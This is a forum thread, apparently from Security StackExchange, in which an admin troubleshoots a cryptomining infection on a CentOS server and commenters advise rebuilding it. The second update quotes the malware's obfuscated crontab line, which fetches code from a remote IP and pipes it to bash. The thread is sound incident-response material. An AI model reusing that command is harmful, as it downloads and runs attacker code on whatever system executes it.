2

As mentioned previously, I cannot physically remove the server from the internet as I do not have physical access. So, very little information in the ticket marked duplicate is relevant. I am going to have to either fix it live or shut it down permanently. It looks like I may have a solution to this specific problem that is not covered in the duplicate

I have an OVH hosted Centos 7 server (3.14.32-xxxx-grs-ipv6-64 #7 SMP) that I recently noticed was running at 100% CPU utilisation. On closer examination, there was a process showing in ps as '///' owned by apache that was using the CPU.

Checking /proc/$PID/cmdline it showed as running '///MvGJ6F80QE' or similar bunch of random characters that seemed to match files in /tmp. I shutdown Apache and removed the temporary files. I updated to the latest version of Apache (built from scratch locally) and restarted Apache. Almost instantly the rogue process returned.

I suspected it might be a fully updated Drupal site (0day), so I shut it down. I suspected it might be PHP so I shut that down too (I also updated PHP to the latest v5 release to no avail). I have now shut down apache entirely. None of this helps. The process keeps returning.

chkrootkit is showing the following: INFECTED: Possible Malicious Linux.Xor.DDoS installed

However the intrusion seems to be constrained to the apache user and doesn't have root. In /var/log/httpd/error_log I can see it's trying to access other parts of the file system and getting 'permission denied' as well as downloading new executables.

I can't for the life of me find the source of this, so I'd be massively grateful for any advice on how to remove this

I cannot follow the steps suggested by the post in the comment below as I do not have physical access to the server and cannot remove it from the internet.

EDIT: the key vector is through /tmp and /usr/tmp - I've now made these noexec via the following commands. No joy with this either - it must be launching the payload from somewhere else dd if=/dev/zero of=tmp.img bs=1M count=100 dd if=/dev/zero of=usr-tmp.img bs=1M count=2000 mkfs.ext4 tmp.img mkfs.ext4 usr-tmp.img

I mounted the filesystems somewhere else and rsynced the contents of /tmp and /usr/tmp in then added this to /etc/fstab: /usr/tmp-noexec/tmp.img /tmp ext4 defaults,nodev,nosuid,noexec 0 0 /usr/tmp-noexec/usr-tmp.img /usr/tmp ext4 defaults,nodev,nosuid,noexec 0 0

EDIT: it's moved itself to /dev/shm once I made /tmp,/usr/tmp noexec. I've made /dev/shm no exec too.

UPDATE: It looks like making /dev/shm, /tmp and /usr/tmp noexec has done the trick. I could see 'touch' downloaded to those 3 directories so something was still running. I located 4 ejGL9EF processes still running - /proc said these had been launched from /tmp so they were from before I'd fixed /tmp. I've now killed these processes and there has been no further cryptomining.

UPDATE2: It seems like it's persisting through the crontab ... although I don't think it was doing this earlier (I so it may have mutated (sample crontab entry and excerpt from the service log below)

*/5 * * * * echo -e "\u77\u67\u65\u74\u20\u2d\u4f\u20\u2d\u20\u68\u74\u74\u70\u3a\u2f\u2f\u31\u33\u39\u2e\u39\u39\u2e\u39\u36\u2e\u31\u34\u33\u2f" | bash | bash

Sep 14 17:38:13 crontab[28862]: (apache) REPLACE (apache) Sep 14 17:38:17 crontab[28894]: (apache) REPLACE (apache) Sep 14 17:38:44 crontab[29986]: (apache) DELETE (apache) Sep 14 17:38:44 crontab[30013]: (apache) REPLACE (apache) Watching the error log, it's still hammering away at the door but the total lack of crytpomining shows it's not having much luck (excerpt below)

bash: line 52: ./6gC7pKB: No such file or directory tee: ./hg7l1fJ: Permission denied tee: ./ga51m5f: Permission denied tee: ./856dLGj: Permission denied cp: cannot create regular file './6GBP4a4': Permission denied bash: line 65: ./6GBP4a4: No such file or directory bash: line 66: ./6GBP4a4: No such file or directory

Matt Innes
  • 121
  • 3
  • OVH should be able to disconnect the server - depending on their configuration, they may be able to provide an image of it which you can work on, although it's probably easier to put clean backups onto a new server running the latest versions of the software packages required. – Matthew Sep 14 '18 at 14:13
  • @Matthew - my fallback plan is to spin up a new server but it will cost me £200-£300 as I have a while to run on the lease and OVH don't let you switch (you just have to create a new server and pay for it) – Matt Innes Sep 14 '18 at 14:19
  • Do they offer a method of reinstalling the base image onto the existing server? E.g. wipe the system completely, then rebuild from scratch? – Matthew Sep 14 '18 at 14:31
  • Hmm yes they do, that's a good point. There is a fair amount of stuff on that server. I'd think I'd prefer to pay the money to have to 2 running simultaneously to reduce risk. – Matt Innes Sep 14 '18 at 14:38
  • Have you checked your apache configuration files? I'd be curious if the malware is being launched through a module and not the server binary directly. – amccormack Sep 14 '18 at 14:46
  • @amccormack what am I looking for in the configuration files? I've checked the timestamps and none of the files have changed in the last month (infection is last week, maybe 2) (although timestamps can be spoofed..) – Matt Innes Sep 14 '18 at 15:06
  • 1
    Check out https://httpd.apache.org/docs/2.4/configuring.html#modules but I do agree with previous comments that a fresh install is the best way to go. Finding out how its persisting is interesting, but less important than getting back up and running in a clean state. – amccormack Sep 14 '18 at 15:23
  • The problem you have is that the attacker could have set up any number of distinct backdoors into the server, and you'd only be able to find them with a full audit looking for changes between the original state and the current state. You can't even trust the system tools on the server, so it would need to be performed on images copied to another system. I wouldn't be surprised if other working instances popped up on this server, even though the initial version was blocked. – Matthew Sep 14 '18 at 16:03
  • Ok, I've managed to squash this infestation - in truth none of this would have happened if the server was running selinux but OVH run a custom kernel with their own "equivalent" of selinux. I am going to leave this as is for now and gradually migrate everything off OVH onto AWS even though it will cost me a bundle more - time is valuable! Thanks you so much for the help and advice – Matt Innes Sep 14 '18 at 16:08
  • @Matthew yes - fair point. This isn't the first vulnerability that has been exploited (there have been a couple of dozen but this is the first that had me stumped). None of them yet have used the same approach so it stands to reason they were different attackers. I have since located the point of entry (it WAS an old Drupal site someone had left lying around inside ANOTHER Drupal site). This is precisely the kind of attack selinux is designed to thwart so I think I have to bite the bullet and move off OVH – Matt Innes Sep 14 '18 at 16:13

0 Answers0